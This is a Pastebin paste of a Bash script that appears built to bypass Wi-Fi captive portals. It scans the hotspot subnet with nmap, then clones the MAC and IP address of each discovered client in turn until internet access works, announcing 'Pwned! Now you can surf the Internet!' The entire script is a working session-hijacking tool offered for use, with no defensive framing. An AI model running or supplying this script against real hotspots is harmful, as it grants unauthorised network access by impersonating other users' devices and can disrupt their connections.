Guest User

Untitled

a guest
Nov 18th, 2024
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 4.19 KB | None | 0 0
  1. #!/usr/bin/env bash
  2.  
  3. # Find the initial parameters of wireless interface.
  4. interface="$(ip -o -4 route show to default | awk '/dev/ {print $5}' | head -n1)"
  5. localip="$(ip -o -4 route get 1 | awk '/src/ {print $7}')"
  6. wifissid="$(iw dev "$interface" link | awk '/SSID/ {print $NF}')"
  7. gateway="$(ip -o -4 route show to default | awk '/via/ {print $3}')"
  8. broadcast="$(ip -o -4 addr show dev "$interface" | awk '/brd/ {print $6}')"
  9. ipmask="$(ip -o -4 addr show dev "$interface" | awk '/inet/ {print $4}')"
  10. netmask="$(printf "%s\n" "$ipmask" | cut -d "/" -f 2)"
  11. netaddress="$(sipcalc "$ipmask" | awk '/Network address/ {print $NF}')"
  12. network="$netaddress/$netmask"
  13. macaddress="$(ip -0 addr show dev "$interface" \
  14.              | awk '/link/ && /ether/ {print $2}' \
  15.              | tr '[:upper:]' '[:lower:]')"
  16.  
  17. # Check for running as root.
  18. function check_sudo() {
  19.   if [[ "$EUID" -ne 0 ]]; then
  20.     printf "%b\n" "ERROR This script must be run as root. Use sudo." >&2
  21.     exit 1
  22.   fi
  23. }
  24.  
  25. # Create a temporary folder for script work.
  26. function create_tmp() {
  27.   unset tmp
  28.   tmp="$(mktemp -q -d "${TMPDIR:-/tmp}/hackaptive_XXXXXXXXXX")" || {
  29.     printf "%b\n" "ERROR Unable to create temporary folder. Abort." >&2
  30.     exit 1
  31.   }
  32. }
  33.  
  34. # Clean tmp/ on exit due to any reason.
  35. function clean_up() {
  36.   rm -rf "$tmp"
  37.   trap 0
  38.   exit
  39. }
  40.  
  41. # Split up big networks into smaller chunks of /24.
  42. function calc_network() {
  43.   printf "%b\n" "Exploring network in \"$wifissid\" Wi-Fi hotspot."
  44.   if [[ "$netmask" -lt 24 ]]; then
  45.     sipcalc -s 24 "$network" \
  46.     | awk '/Network/ {print $3}' > "$tmp"/networklist.$$.txt
  47.     printf "%b\n" "Splitting up network $network into smaller chunks."
  48.   else
  49.     printf "%s\n" "$network" | cut -d "/" -f 1 > "$tmp"/networklist.$$.txt
  50.   fi
  51. }
  52.  
  53. routermac="$(nmap -n -sn -PR -PS -PA -PU -T5 $gateway | grep -E -o '[A-Z0-9:]{17}' | tr A-Z a-z)"
  54.  
  55. # Select network, set netmask, scan it for IP and MAC and hijack them. Repeat.
  56. function main() {
  57.   while read -r networkfromlist; do
  58.     if [[ "$netmask" -lt 24 ]]; then
  59.       network="$networkfromlist/24"
  60.     else
  61.       network="$networkfromlist/$netmask"
  62.     fi
  63.  
  64.   # Scan selected network for active hosts.
  65.   printf "%b\n" "Looking for active hosts in $network. Please wait."
  66.   nmap -n -sn -PR -PS -PA -PU -T5 --exclude "$localip","$gateway" "$network" \
  67.   | awk '/for/ {print $5} ; /Address/ {print $3}' \
  68.   | sed '$!N;s/\n/ - /' > "$tmp"/hostsalive.$$.txt
  69.  
  70.   # Set founded IP and MAC for wireless interface.
  71.     while read -r hostline; do
  72.       newipset="$(printf "%s\n" "$hostline" | awk '{print $1}')"
  73.       newmacset="$(printf "%s\n" "$hostline" \
  74.                   | awk '{print $3}' \
  75.                   | tr '[:upper:]' '[:lower:]')"
  76.  
  77.       if [ "$routermac" != "$newmacset" ]; then
  78.  
  79.             printf "%b\n" "Trying to hijack $newipset - $newmacset"
  80.             ip link set "$interface" down
  81.             ip link set dev "$interface" address "$newmacset"
  82.             ip link set "$interface" up
  83.             ip addr flush dev "$interface"
  84.             ip addr add "$newipset/$netmask" broadcast "$broadcast" dev "$interface"
  85.             ip route add default via "$gateway"
  86.             sleep 1
  87.  
  88.             # Check if Google DNS pingable with our new IP and MAC.
  89.             ping -c1 -w1 8.8.8.8 >/dev/null
  90.             if [[ $? -eq 0 ]]; then
  91.               printf "%b\n" "Pwned! Now you can surf the Internet!"
  92.               exit 0
  93.       fi
  94.  
  95.       else
  96.             printf "%b\n" "Skipped $newipset - $newmacset"
  97.       fi
  98.  
  99.     done < "$tmp"/hostsalive.$$.txt
  100.     rm -rf "$tmp"/hostsalive.$$.txt
  101.     printf "%b\n" "Suitable hosts not found. Checking another network chunk."
  102.  
  103.   done < "$tmp"/networklist.$$.txt
  104.   rm -rf "$tmp"/networklist.$$.txt
  105.   printf "%b\n" "No luck! Try again later or try another Wi-Fi hotspot."
  106.  
  107.   # Restore original MAC and IP.
  108.   ip link set "$interface" down
  109.   ip link set dev "$interface" address "$macaddress"
  110.   ip link set "$interface" up
  111.   ip addr flush dev "$interface"
  112.   ip addr add "$ipmask" broadcast "$broadcast" dev "$interface"
  113.   ip route add default via "$gateway"
  114. }
  115.  
  116. # Functions start here.
  117. trap clean_up 0 1 2 3 15
  118. check_sudo
  119. create_tmp
  120. calc_network
  121. main
Advertisement
Add Comment
Please, Sign In to add comment